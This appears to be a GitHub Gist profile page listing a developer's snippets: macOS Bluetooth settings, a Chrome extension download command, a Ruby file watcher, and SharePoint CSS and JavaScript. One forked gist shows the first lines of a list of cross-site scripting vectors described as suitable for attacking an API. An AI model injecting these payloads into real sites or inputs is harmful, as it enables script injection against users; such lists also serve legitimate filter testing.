Skip to content

Instantly share code, notes, and snippets.

Gokhan Demirhan gokhandemirhan

View GitHub Profile
View bluetooth-defaults.sh
#!/bin/sh
defaults write com.apple.BluetoothAudioAgent "Apple Bitpool Max (editable)" 80
defaults write com.apple.BluetoothAudioAgent "Apple Bitpool Min (editable)" 48
defaults write com.apple.BluetoothAudioAgent "Apple Initial Bitpool (editable)" 40
defaults write com.apple.BluetoothAudioAgent "Negotiated Bitpool" 48
defaults write com.apple.BluetoothAudioAgent "Negotiated Bitpool Max" 53
defaults write com.apple.BluetoothAudioAgent "Negotiated Bitpool Min" 48
defaults write com.apple.BluetoothAudioAgent "Stream - Flush Ring on Packet Drop (editable)" 30
defaults write com.apple.BluetoothAudioAgent "Stream - Max Outstanding Packets (editable)" 15
View how-to-view-source-of-chrome-extension.md

Option 1: Command-line download extension as zip and extract

extension_id=jifpbeccnghkjeaalbbjmodiffmgedin   # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" 
unzip -d "$extension_id-source" "$extension_id.zip"

Thx to crxviewer for the magic download URL.

@gokhandemirhan
gokhandemirhan / refresh-chrome-change.rb
Last active May 10, 2017
refresh chrome when a file changed in specified directory
View refresh-chrome-change.rb
#!/usr/bin/env ruby
# watch.rb by Brett Terpstra, 2011 <http://brettterpstra.com>
# with credit to Carlo Zottmann <https://github.com/carlo/haml-sass-file-watcher>
# http://brettterpstra.com/2011/03/07/watch-for-file-changes-and-refresh-your-browser-automatically/
trap("SIGINT") { exit }
class String
# colorization
def colorize(color_code)
@gokhandemirhan
gokhandemirhan / 666_lines_of_XSS_vectors.html
Created Mar 11, 2016 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
View 666_lines_of_XSS_vectors.html
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
View exportjson.js
// Includes functions for exporting active sheet or all sheets as JSON object (also Python object syntax compatible).
// Tweak the makePrettyJSON_ function to customize what kind of JSON to export.
var FORMAT_ONELINE = 'One-line';
var FORMAT_MULTILINE = 'Multi-line';
var FORMAT_PRETTY = 'Pretty';
var LANGUAGE_JS = 'JavaScript';
var LANGUAGE_PYTHON = 'Python';
@gokhandemirhan
gokhandemirhan / singleton.js
Created Feb 16, 2016 — forked from wpsmith/singleton.js
JavaScript: Singleton JS Example
View singleton.js
var Singleton = (function () {
var instance;
function createInstance() {
var object = new Object("I am the instance");
return object;
}
return {
getInstance: function () {
View sublime_text_2_useful_shortcuts.md

Sublime Text 2 - Useful Shortcuts

Tested in Mac OS X: super == command

Open/Goto


  • super+t: go to file
  • super+ctrl+p: go to project
  • super+r: go to methods
@gokhandemirhan
gokhandemirhan / bootstrap-custom.css
Last active Sep 7, 2015 — forked from arivazhagan/bootstrap-custom.css
Custom bootstrap for sharepoint specific
View bootstrap-custom.css
/*bootstrap 3 resets for SharePoint*/
/*border-box causes many issues with SP*/
*, *:before, *:after {
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
/*reset elements that B3 is expecting to be border-box*/
* [class^="col-"], * [class^="col-"]:before, * [class^="col-"]:after,
.container, .container:before, .container:after,
@gokhandemirhan
gokhandemirhan / file-checkedout-REST.js
Last active Sep 7, 2015 — forked from wpsmith/file-checkedout-REST.js
SharePoint JS: SP.File.checkOutType property gets a value that indicates how the file is checked out of a document library.
View file-checkedout-REST.js
//Get file checkout type via REST
$.ajax({url: "/_api/web/getFileByServerRelativeUrl('" + pageUrl + "')/checkOutType",
headers: { "Accept": "application/json; odata=verbose" },
success: function(data) {
if(data.d.CheckOutType == 0) {
console.log('The file is checked out');
}
}
});
You can’t perform that action at this time.